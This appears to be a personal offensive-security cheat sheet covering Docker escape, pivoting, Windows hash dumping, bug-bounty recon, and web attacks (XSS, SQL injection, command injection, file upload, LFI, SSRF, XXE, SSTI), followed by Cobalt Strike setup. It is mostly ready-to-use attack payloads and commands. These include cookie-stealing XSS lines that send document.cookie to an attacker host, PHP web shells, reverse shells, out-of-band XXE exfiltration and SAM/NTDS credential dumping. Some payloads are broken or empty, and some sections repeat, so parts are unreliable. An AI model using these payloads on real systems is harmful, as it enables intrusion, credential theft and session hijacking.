# Docker Container Escape ## Looking For Potential Files Whenever you are in a docker container, always try to enumerate the system as much as you can, because you will always find something interesting in it. ```javascript // Potential Directories where you can find something interesting /opt /home /home/ /tmp /var/www/html ``` ## Doing Reverse Proxy Using Chisel We can also do **reverse proxy using chisel**. It will help us in such a way that you want to connect to MySQL or Redis database and you are not having such tools installed on the docker container so you can do a reverse proxy and connect to MySQL or redis using proxychains ```javascript //Running Chisel on the Kali Linux First chisel server --reverse -p 1234 --socks5 // Running Chisel on the docker container ./chisel client :1234 R:socks // Now you can use proxychains and access the things on docker container ``` ## Looking For IP Addresses Sometimes you cannot run **ip a** or **ifconfig** command so you can run the following to obtain the ip address ```javascript cat /proc/net/fib_trie // this sometimes shows the ip addresses of different services ```

## Route Information We can look for routes using below command ```python cat /proc/net/route ```

to convert the hexadecimal ip we can use below python script ```python import sys def hex_to_ip(hex_str): # Split the hex string into 4 chunks of 2 characters (octets) octets = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)] # Reverse the order of octets for little-endian format octets.reverse() # Convert each octet from hex to decimal ip_octets = [str(int(octet, 16)) for octet in octets] # Join the decimal octets with dots to form an IP address ip_address = ".".join(ip_octets) return ip_address if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python hex_to_ip.py ") sys.exit(1) hex_value = sys.argv[1] if len(hex_value) != 8: print("Error: The hex value should be 8 characters long.") sys.exit(1) ip = hex_to_ip(hex_value) print(f"Converted IP: {ip}") ``` ## Command To See Open Port if you want to see an open port and there is no Nmap or Netcat, you can run the below command ```python cat < /dev/tcp/172.18.0.1/3306 ```

## Automated Tools ### Deepce We can use Deepce tool from the below link to enumerate docker containers for potential escapes {% embed url="" %} ```python bash deepce.sh ```

## Docker Privileged Mode Enabled We can escalate our privileges from docker container to host machine if we have privilege mode turned on, in this case we can mount the Host Files and Folders on the Docker Container and access them ```python mkdir /mnt/host mount /dev/xvda1 /mnt/host/ cd /mnt/host/ # now you can see the Host OS Files and Folders ```

# Tunneling and Pivoting ## For Loop Command ``` for i in {1..255};do ping -c 1 192.168.110.$i > /dev/null;if [ $? -eq 0 ];then echo 192.168.110.$i;fi;done ``` ## Ligolo-ng Ligolo makes a tunnel just like a VPN; there is no need to use proxychains 1. Download Agent and Proxy from Ligolo Github Page 2. Agent will Run on Victim Machine and Proxy Will run on Attacker Machine (Kali-Linux) Before Running agents and Proxy you need to run 2 commands on your kali linux ```python # These commands will set the ligolo interface on your kali linux sudo ip tuntap add user root mode tun ligolo sudo ip link set ligolo up ``` Then We need to run the Proxy ```python ligolo-linux-proxy -selfcert -laddr 0.0.0.0:443 ```

after that upload the Agent on the Targer machine and run the below command ```python ./lin-agent -connect 10.8.5.85:11601 -ignore-cert ```

After that, you need to add the route ```python sudo ip route add 172.18.0.0/24 dev ligolo ``` then ``` start ```

## Chisel We can use chisel as well for tunneling, ```python chisel server -p 1234 --reverse # Run on kali linux (Attacker Machine) ```

```python ./chisel-linux client 10.8.5.85:1234 R:socks # Run on Victim Machine ```

for this to work your /etc/proxychains4.conf file should have following entry

# Methodology ## SEBackupPrivilege if you have SEBackup Privilege, then you can access any file on the system. the best way is to get sam and system file and download those to your system and get the administrator hash


reg save hklm\sam c:\users\username\sam

reg save hklm\system c:\users\username\system


# download sam and system on your kali machine and then use impacket-secretdump

impacket-secretsdump -sam sam -system system LOCAL

### Second Method : SEBackupPrivilege (Domain Joined Machines) We can use the Second Method for Domain Joined Machines Create a file called **test.dsh** ``` persistent nowriters add volume c: alias owo create expose %owo% z: ```

Upload this file to the target machine and then run the following command ```python diskshadow /s test.dsh # then run below command robocopy /b z:\windows\ntds . ntds.dit ``` after this you should get ntds.dit file in your current working directory we also need system file for this to work ```python reg save hklm\system c:\users\username\system ``` after you can use impacket-secretsdump and get the administrator hash. ```python impacket-secretsdump -ntds ntds.dit -system system LOCAL ``` ## RUNAS (Changing user Sessions) ```python runas /user:Administrator cmd # if you have the password of admin user ``` ## Bypassing UAC we can bypass UAC in rdp session in a powershell shell by running the following command ```python Start-Process cmd.exe -verb runas # this will give you full Admin Privileges ``` # Bug Bounty Methodology ## VPS Automation (using Screens) While Doing Bug Bounty There are alot of tasks which we need to automate and they take alot of time so we need to keep them running while we exit from the VPS. For this Purpose we have **Screens** which i use most of the times ### Make a New Screen ``` screen -S new-screen-name e.g screen -S programmerboy ```

now you will have a new terminal and that will be your screen terminal ### Detaching the Screen ``` CTRL + A + D ```

### List the Screens ``` screen -ls ```

### Get Back to Screen ``` screen -r programmerboy ```

after this you will be back in your screen

## TMUX Usage We can also use TMUX and that is very useful for bug bounty because we our processes can be running in the backend ```python tmux new -s # Make a new Session tmux ls # List the sessions tmux attach -t # attach to the session tmux source-file ~/.tmux.conf # after making changes to tmux.conf file # Prefix Key is CTRL+B preix key + d # detach the from tmux prefix key + c # Create a new windows prefix key + # move to that window Prefix Key + , # Rename the window prefix key + [ # Enter Copy Mode prefix key + % # Split Screen vertically prefix key + " # Split Screen Horizontally ``` ## Subdomains ### Amass ```python amass enum -brute -active -d domain.com -o amass-output.txt ``` ### Assetfinder ``` assetfinder --subs-only domain.com ``` ### SubFinder ``` subfinder -d domain.com -all ``` ### Gau ``` gau --threads 5 --subs example.com | unfurl -u domains | sort -u -o output_unfurl.txt ``` ### Waybackurls ``` waybackurls example.com | unfurl -u domains | sort -u -o output.txt ``` ## Discover the IP Range Visit this website to find the ip ranges {% embed url="" %}

## Alive Subdomains ### HTTPX ``` cat domains.txt | httpx -title -wc -sc -cl -ct -location -web-server -asn -o alive-subdomains.txt ``` ## Finding JS Files From a Domain I always find for the Javascript files whenever i am given a domain and i use a tool called GolinkFinder {% embed url="" %} ```python GoLinkFinder -d https://domain.com ```

## Nuclei ### Nuclei Basic Command ``` nuclei -target 10.10.161.39 ```

### Nuclei with Specific template ``` nuclei -target 10.10.161.39 -t CVE-2024-57727.yaml ```

#### Nuclei with list of domains ``` nuclei -l targets.txt -o nuclei_results.txt ``` #### Nuclei Stealth Scan ```python nuclei -l domains.txt -tags cve,misconfig,takeover -severity critical,high -rl 50 -c 10 -no-interactsh -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nuclei_results.txt ``` # XSS Below are the commands and some automation stuff which normally use, some of these i have got from different places like twitter or linkedin ## XSS Basic Payloads ```python ">

%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E javascript:alert(document.cookie) ``` ## WAF Bypass Payloads ```python ">"@yourdomain 013371337;ext=

%3csvg/onload=window%5b"al"+"ert"%5d`1337`%3e %3Csvg%20onload=alert(%22MrHex88%22)%3E %3Cimg%20src=x%20onerror=alert(%22MrHex88%22)%3E ">

"`'> "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F "\/> "><track/onerror='confirm\%601\%60'>

'"/>alert(document.domain)<%2fscript>.css /path?next=javascript:top[/al/.source+/ert/.source](document.cookie) login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain location='https://XX-LAB-URL-XX/?query=%3C%2FScRiPt%20%3E%3Cimg%20src%3Da%20onerror%3D%28document.location%29%3D%22https%3A%2F%2FXX-EXPLOIT-URL-XX%2F%3F%22%2B%28document.cookie%29%3E'; ``` ## XSS using XSSTRIKE we can use xsstrike to do some automation and try to find some XSS ```python python xsstrike.py -u 'http://10.129.125.63/phishing/index.php?url=test' ```

## XSS Basic Vector by KNOXSS this attack vector works in **HTML injection** and **js injection** cases ```python 1'//" ``` ## Automation of XSS using Knoxnl ```javascript katana -list url.txt -c 50 -d 4 -jc -kf | grep "=" | uro | qsreplace 'xss'| httpx | anew xss.txt knoxnl -i xss.txt -X BOTH -afb -s -o xssoutput.txt ```

## Blind XSS ### Basic Blind XSS Payloads

<-- Replace OUR_IP with your Server IP Address -->

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

## XSS to get Cookies ### Simple Payload to get Cookies Use the below payload and add your Server IP and you will get Cookies on your server ```python document.location='http://OUR_IP/index.php?c='+document.cookie; # this one is much preferred new Image().src='http://OUR_IP/index.php?c='+document.cookie; ``` ### Get Cookies by Hosting JS file you can also add the malicious code to get the cookie in a file and then you host that script on the python server and then you can call the script, which will hit the script on the python server and then you will get the cookie on the same python server as well. ```html <-- make a file called script.js add the below payload and host on your server --> new Image().src='http://OUR_IP/index.php?c='+document.cookie; <-- now you can use --> <-- again try different payloads here --> '> "> ``` ## Get Cookies by Hosting PHP File on Server Make a file called **Cookie.php** and host it on your server ```php ``` Now i can use the following payload to execute XSS and get cookie ```javascript

``` ### In Real World to get Cookies in the real world, try using something like [XSSHunter](https://xsshunter.com/), [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) or [Project Interactsh](https://app.interactsh.com/). A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS. ```javascript

test

``` ### Using Netcat ```javascript

test

and we got a successfull sql injection here.

## Randomize any Parameter using Sqlmap If there is a case where we need to change a value after every request we can use the randomize flag for that ```python sqlmap -u 'http://94.237.62.149:49975/case9.php?id=1&uid=2' --randomize=uid --batch ``` Because if i will not randomize the uid parameter my request will fail

## SQLMAP Tamper Scripts to Bypass Filters If <> signs are blocked then you can use tamper scripts, we can use **--tamper=between** flag and it will not use < > signs any more ```python sqlmap -u 'http://83.136.255.150:52936/case11.php?id=1*' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Cookie: cookie=HTB{r3fl3c73d_b4ck_2_m3}' -H 'Upgrade-Insecure-Requests: 1' --batch -D testdb -T flag11 --dump --tamper=between ```

we can see some more tamper scripts as well by doing ```python sqlmap --list-tamper ```

We can see all tamper scripts which we can use

## File Read using Sqlmap we can use the **--file-read** flag ```python sqlmap -u 'http://94.237.54.170:52316/?id=1*' --batch --file-read /var/www/html/flag.txt ``` ## OS-Shell using SqlMap we can use **--os-shell** to get a reverse shell ```python sqlmap -u 'http://94.237.54.170:52316/?id=1*' --batch --os-shell ``` # Command Injection ## Basic Command Injection ```python ; # semi colon \n # New Line %0a & # background | # pipe && # AND || # OR `` # Sub Shell (backticks) $() # Sub-Shell ``` ## Advanced Command Injection ### When Space,and paths(/etc/passwd, /, /home ) are not Allowed ```python # %0a is new line # ls will list the file # ${IFS} when space is blacklisted # ${PATH:0:1} it will grab / from path variables ip=127.0.0.150%0als${IFS}${PATH:0:1} # Final Command Becomes 127.0.0.1 ls / ```

## Bypassing Blacklists(whoami,pwd,ls,cat) ```python who$@ami w`h`o`a`mi # should be even ``` ## Automated Obfuscation Tool for Command Injection ### BashFuscator {% embed url="" %} we can use this tool to obfuscate our command ```python bashfuscator -c "cat /etc/passwd" ```

it will give very huge payload, to make it short we can use below command ```python bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 ```

# File Upload Pentesting ## PHP Upload Payloads (one liners) ```php <% eval request('cmd') %> msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php ``` ## PHP Code (Much better Output of RCE) Use this code in a file ```php ``` ## PHP File Extensions For Burp Intruder ```php .jpeg.php .jpg.php .png.php .php .php3 .php4 .php5 .php7 .php8 .pht .phar .phpt .pgif .phtml .phtm .php%00.gif .php\x00.gif .php%00.png .php\x00.png .php%00.jpg .php\x00.jpg ``` ## Content Types For File Upload ```python image/bmp image/cgm image/g3fax image/gif image/ief image/jpeg image/ktx image/pjpeg image/png image/prs.btif image/svg+xml image/tiff image/vnd.adobe.photoshop image/vnd.dece.graphic image/vnd.djvu image/vnd.dvb.subtitle image/vnd.dwg image/vnd.dxf image/vnd.fastbidsheet image/vnd.fpx image/vnd.fst image/vnd.fujixerox.edmics-mmr image/vnd.fujixerox.edmics-rlc image/vnd.ms-modi image/vnd.net-fpx image/vnd.wap.wbmp image/vnd.xiff image/webp image/x-citrix-jpeg image/x-citrix-png image/x-cmu-raster image/x-cmx image/x-freehand image/x-icon image/x-pcx image/x-pict image/x-png image/x-portable-anymap image/x-portable-bitmap image/x-portable-graymap image/x-portable-pixmap image/x-rgb image/x-xbitmap image/x-xpixmap image/x-xwindowdump application/vnd.3lightssoftware.imagescal application/vnd.fastcopy-disk-image application/vnd.imagemeter.folder+zip application/vnd.imagemeter.image+zip application/vnd.msa-disk-image application/vnd.oci.image.manifest.v1+json image/aces image/avci image/avcs image/dicom-rle image/emf image/example image/fits image/heic image/heic-sequence image/heif image/heif-sequence image/hej2k image/hsj2 image/jls image/jp2 image/jph image/jphc image/jpm image/jpx image/jxr image/jxra image/jxrs image/jxs image/jxsc image/jxsi image/jxss image/ktx2 image/naplps image/prs.pti image/pwg-raster image/t38 image/tiff-fx image/vnd.airzip.accelerator.azv image/vnd.cns.inf2 image/vnd.globalgraphics.pgb image/vnd.microsoft.icon image/vnd.mix image/vnd.mozilla.apng image/vnd.pco.b16 image/vnd.radiance image/vnd.sealed.png image/vnd.sealedmedia.softseal.gif image/vnd.sealedmedia.softseal.jpg image/vnd.svf image/vnd.tencent.tap image/vnd.valve.source.texture image/vnd.zbrush.pcx image/wmf ``` ## LFI and File Upload to RCE ### Crafting Malicious Image we can create a malicious image and then try to get RCE ```python echo 'GIF8' > shell.gif ``` ### ZIP Upload To RCE We can utilize the [zip](https://www.php.net/manual/en/wrappers.compression.php) wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows: ```python echo '' > shell.php && zip shell.jpg shell.php ``` ### PHAR Upload we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file: ```php startBuffering(); $phar->addFromString('shell.txt', ''); $phar->setStub(''); $phar->stopBuffering(); ``` This script can be compiled into a `phar` file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a `phar` file and rename it to `shell.jpg` as follows: ```shell-session php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg ``` Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with (`&cmd=id`) ## File Uplaod to XSS ### SVG File Upload to XSS ```xml ``` ## SVG Upload to File Read ```xml ]> using php filter ]> ``` ## SVG File Upload to RCE apped Reverse shell php one liner at the end of the svg payload ```svg ]> ```

## Magic Bytes Sometimes there is a strong filter on the file extension when we are uploading files , we can try to bypass that using magic bytes, which means that i will upload the file extension which is required by the server and then i will add the magic byte in the beginning and rest of the file will be my reverse shell and in that case i will get a reverse shell back.

i am not allowed to upload any files except pdf files

now i will add the pdf magic byte in the beginning and rest of it will be a reverse shell

Successfully file got uploaded containg aspx rev shell

now find the file where is is uploading and try to get a reverse shell # Local and Remote File Inclusion ## Basic Payloads ```python /etc/passwd ../../../../etc/passwd /../../../etc/passwd ./languages/../../../../etc/passwd ....//....//....//....//etc/passwd %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] ../../../../etc/passwd%00 php://filter/read=convert.base64-encode/resource=config ``` ## PHP Wrappers to Read Source Code ```python # make sure you are not adding php at the end php://filter/read=convert.base64-encode/resource=config ``` ## Data Wrapper to RCE we can get LFI to RCE using DATA wrapper which can be used to include the external code, including PHP, but this will work only in 1 case that if **allow\_url\_include is enabled** for this we need to look at the php configuration file to see the allow\_url\_include is enabled or disabled ```python php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini ``` With `allow_url_include` enabled, we can proceed with our `data` wrapper attack. As mentioned earlier, the `data` wrapper can be used to include external data, including PHP code. We can also pass it `base64` encoded strings with `text/plain;base64`, and it has the ability to decode them and execute the PHP code. ```python echo '' | base64 ```

Now, we can **URL encode the base64 string**, and then pass it to the data wrapper ```python data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== # urlencode it data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id ``` We have a successfull RCE.

## Remote File Inclusion (RFI) In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the `allow_url_include` setting to be enabled. We can check whether this setting is enabled through LFI However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to `try and include a URL`, and see if we can get its content. ```python #host it on python server echo '' > shell.php ```

## LFI and File Upload to RCE ### Crafting Malicious Image we can create a malicious image and then try to get RCE ```python echo 'GIF8' > shell.gif ``` ### ZIP Upload To RCE We can utilize the [zip](https://www.php.net/manual/en/wrappers.compression.php) wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows: ```python echo '' > shell.php && zip shell.jpg shell.php ``` ### PHAR Upload we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file: ```php startBuffering(); $phar->addFromString('shell.txt', ''); $phar->setStub(''); $phar->stopBuffering(); ``` This script can be compiled into a `phar` file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a `phar` file and rename it to `shell.jpg` as follows: ```shell-session php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg ``` Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with (`&cmd=id`) # Broken Authentication ## Login Page Bypass using X-Forwarded-For We can sometimes bypass Login Pages and Authentication Mechanisms using X-Forwarded-For Header Below when i entered the credentials i got **Invalid Credentials** Error

Now i will add the **X-Forwarded-For Header** and it will bypass it

# Server Side Request Forgery (SSRF) ## Basic SSRF payloads ``` file:///etc/passwd http://127.0.0.1 http://127.0.0.1:5000 http://127.0.0.1:1 index.html index.php http::////127.0.0.1:1 ``` ## Blind SSRF ### HTML File Upload To SSRF Make a html file with the following code ```html Hello World!

``` upload this file and see if you get a hit on netcat listener

I got a hit on my netcat listener ### Using Burp Collaborator use the below code in html file ```html Hello World!

``` ## wkhtmltopdf Blind SSRF Exploit By inspecting the request, we notice `wkhtmltopdf` in the User-Agent. If we browse [wkhtmltopdf's downloads webpage](https://wkhtmltopdf.org/downloads.html), the below statement catches our attention: Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details. we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document. ```html Exfiltration via Blind SSRF ``` In this case, we are using two [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) objects, one for reading the local file and another one to send it to our server. Also, we are using the `btoa` function to send the data encoded in Base64.

# XML External Entity (XXE) XXE happens where we can inject our XML inputs and those inputs are not being sanitized by XML Parser ## Basic XXE Payloads ```python #Simple File read ]> #php filters ]> ``` ## Basic XXE Testing In the below image i can see that my email is getting reflected back to me, so i will test for XXE in that parameter

now i will test for Basic XXE ```xml ]> test 1122112211 &test; sadadasdasdasd ```

## XXE PHP Filters to Read Source Code We can now try to read the source code using php filters, i will try to read **connection.php** file ``` ]> ```

## Advanced File Disclosure (XXE CDATA) if the web app is not build in php then php filters cannot help us, for this we can use CDATA and read any sort of file including binary data as well.

**This will not work,** because we cannot join internal and external entities in XML like this, so we need to find out another way so i will host an DTD on my Python server

now this will get the DTD from my python server. ```xml "> %xxe; ]> ```

now I can read the files as well. ## Blind XXE (Out of Band Data Exfiltration) Sometimes you don't get a response from the website so you need to redirect the response to your own python server ```python "> ``` ```xml %remote; %oob; ]> &content; ``` We need to host the xxe.dtd on our python server

# Server Side Template Injection (SSTI) ## SSTI Identification ``` {7*7} ${7*7} #{7*7} %{7*7} {{7*7}} ``` ## TWIG SSTI Twig has a variable `_self`, which, in simple terms, makes a few of the internal APIs public. This `_self` object has been documented, so we don't need to brute force any variable names, we can use the `getFilter` function as it allows execution of a user-defined function via the following process: * Register a function as a filter callback via `registerUndefinedFilterCallback` * Invoke `_self.env.getFilter()` to execute the function we have just registered ```php {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} ```

to get the environment variables we can use ```shell {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("echo -e `cat /proc/self/environ`")}} ``` ## Automating SSTI using tqlmap we can use **TQLMAP** from the below link {% embed url="" %} ```python python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 ```

## OS-Shell Using TPLMAP ```python python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 --os-shell ```

# ReconFTW (six2dez) ReconFTW is the complete automation process for the bug bounty.It can find you subdomains,fuzzing,nuclei scanning and using more than 20 tools to find vulnerabilites. ## Enumerating Subdomains using ReconFTW ```javascript ./reconftw.sh -s -o ``` ## Full Recon using ReconFTW i will run this in **screen** so that i switch off my VPS or something bad happens, my scan is still running in the background always. ```javascript ./reconftw.sh -d domain.com -r --deep -o /root/Bug-Bounty/Domain.com ```

## Full Aggressive Recon and All Active Attacks ```javascript ./reconftw.sh -d www.domain.com -a --deep -o /root/Bug-Bounty/domain/ ```

# JS Files ## Regex for BurpSuite to Find Api keys and other Leaks This is from the Twitter Post {% embed url="" %}

```javascript (?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"] ``` # SignUp Page ## SignUp With Comapny Domain When ever you are trying to signup or register, always try to signup with the company registered domain ```javascript Company name ---> programmersecurity.com programmerboy@programmersecurity.com // this can be blocked // so try this PROGRAMMERBOY@PROGRAMMERSECURIYT.COM // this can work sometimes ``` # WEB ## SQL Injection ### H2 Database Exploit ALIAS Sql Injection (Java) The H2 engine uses several defined functions and commands to interact with the database. The noteworthy ones are : * **FILE\_READ:** Returns the contents of a file. ***(function)*** * **FILE\_WRITE:** Write the supplied parameter into a file.***(function)*** * **CSVWRITE:** Writes a CSV (comma separated values). ***(function)*** * **CREATE ALIAS:** Creates a new function alias. ***(command).*** We can Create an Alias and then we Can Run our SQL Queries to exploit this Case Scenario ```sql 1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() : ""; }'; -- ``` after that you can do ```python 1' union select 1,2,execve('whoami')-- # this should get executed ``` # Regex Bypass ## Regex101 If we want to bypass a regex, first we need to understand it. for that i will be going to use the below link {% embed url="" %} lets say we have the following regex ```python ^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$ ``` i will paste this to **regex101** and try to understand it

now i will try to add a random email address to see wether i can bypass the regex or not, and i can see that my email has been caught by the regex

now i will try to bypass it using the following email ```python jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.55555555555555555555555555555555555555555555555555555555. ```

and now regex has been bypassed ## JEX.IM We can use the Second website to understand the regex {% embed url="" %} so i can paste the same regex used above and understand it

# Grep & Regex & Find strings ## Grep To find Files and Strings We can use GREP to find some keywords and files and some special strings

grep -inr password

i is for case insensitivity
n is for line number
r is for recursively

this command will recursively search for the keyword password

## Grep to find strings using Regex lets say we have a file with a certain line

now i need to find in how many files this line exists, so i can use regex with grep ```python grep -rnw $(pwd) -e "^.*user_location.*public.*" --color $(pwd)- means your current working directory in which you want to find otherwise give the complete path of the directory here this command will find you the all files having above line ``` ## Egrep to do Advanced Regex We can use egrep for more advanced regular expressions, below is the egrep command with more advacned regex which finds for $addslahses keyword and whatever is after that. ``` egrep '\$addslashes.*=.*' $(pwd) -r --color ``` ## Find Command ``` find / -iname "*.html" ``` # Wireless Methodology and Commands This Page will provide you all the commands and tools for the wireless pentesting. ## Enumeration Commands ```python iwconfig # command to see the interfaces. sudo airmon-ng # Command to see interfaces as well. ## Enable Monitor Mode sudo airmon-ng check kill ## this will kill any relevant processes which causes issues. sudo airmon-ng start wlan0 ## this will start the monitor mode. ## Manual Approach if above fails sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ## Network Scanning sudo airodump-ng wlan0mon ## this will start scanning for networks ``` ## WPS Commands ```python airodump-ng --wps wlan0mon ## Enumerate available Wi-Fi networks with WPS using airodump-ng. wash -i wlan0mon ## Enumerate available Wi-Fi networks with WPS using wash. wash -j -i wlan0mon ## Enumerate available Wi-Fi networks with WPS using wash with verbose output. ``` # Python Code Snippets ## Code to Send a Get Request to a URL and Print Response and Headers this code will do a get request on the URL and then print the request headers and response Below in the target URL i have passed IP address and Injection Point as %s which i will supply on command line ```python import sys import requests from bs4 import BeautifulSoup import json def search_friends(ip, param): target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, param) r = requests.get(target) s = BeautifulSoup(r.text, 'lxml') print() print("Request Headers:") print(json.dumps(dict(r.request.headers), indent=4)) print() print("Response Headers:") print(json.dumps(dict(r.headers), indent=4)) print() print("Response Content:") print(s.text) def main(): if len(sys.argv) != 3: print("Please supply 2 parameters") sys.exit(1) ip = sys.argv[1] inj_str = sys.argv[2] search_friends(ip, inj_str) if __name__ == "__main__": main() ```

in this example we supplied 2 command line arguments

# CRTO & Cobalt Strike This Page contains all the notes which are required to pass the CRTO Exam and it also contains the lab instructions as well ## Setting Up Cobalt Strike on Windows Machine To start Cobalt Strike We need 2 things 1. Team Server (This will only be run on the Linux machine) 2. Cobalt Strike Client ### Setting Up TeamServer First, we need to have a Linux box on which teamserver will run so I already have that, I will open my Linux box on the Windows machine and then run the teamserver ``` sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile ``` * `10.10.5.50` is the IP address of the Attacker Linux VM. * `Passw0rd!` is the shared password used to connect from the Cobalt Strike client. * `webbug.profile` is an example Malleable C2 profile (covered in more detail later).

Now Teamserver is all good to go so we need to start cobalt strike now ### Starting Cobalt Strike Client Now after the teamserver is started then we need to start the Cobalt Strike Client and provide the details

1. I added a random Alias 2. Host Should be the one where Teamserver is Running 3. You can add any Username 4. Password should be the same which you selected on the Teamserver

## Listeners in Cobalt Strike We can set up some listeners in cobalt strike by press the headphones button on the top

now we can click the add button at the bottom and then add some listeners, we can set 1. http 2. dns 3. https 4. smb below is an example of the HTTP listener

in the same way we can set all the listeners ### Smb Listener For smb listener we can see the pipes on our own system and choose any one of the found, we will not use the cobalt strike default one because that can be easily detected by the AVs.

we can use any of the above and set the listener ## All Listeners setup done

## Running Cobalt Strike As a Service We can run cobalt strike as a service so once we start our linux machine we dont need to run teamserver again and again first we need to create a file in `/etc/systemd/system` ``` sudo nano /etc/systemd/system/teamserver.service ``` then add the following content in it ``` [Unit] Description=Cobalt Strike Team Server After=network.target StartLimitIntervalSec=0 [Service] Type=simple Restart=always RestartSec=1 User=root WorkingDirectory=/home/attacker/cobaltstrike ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile [Install] WantedBy=multi-user.target ```

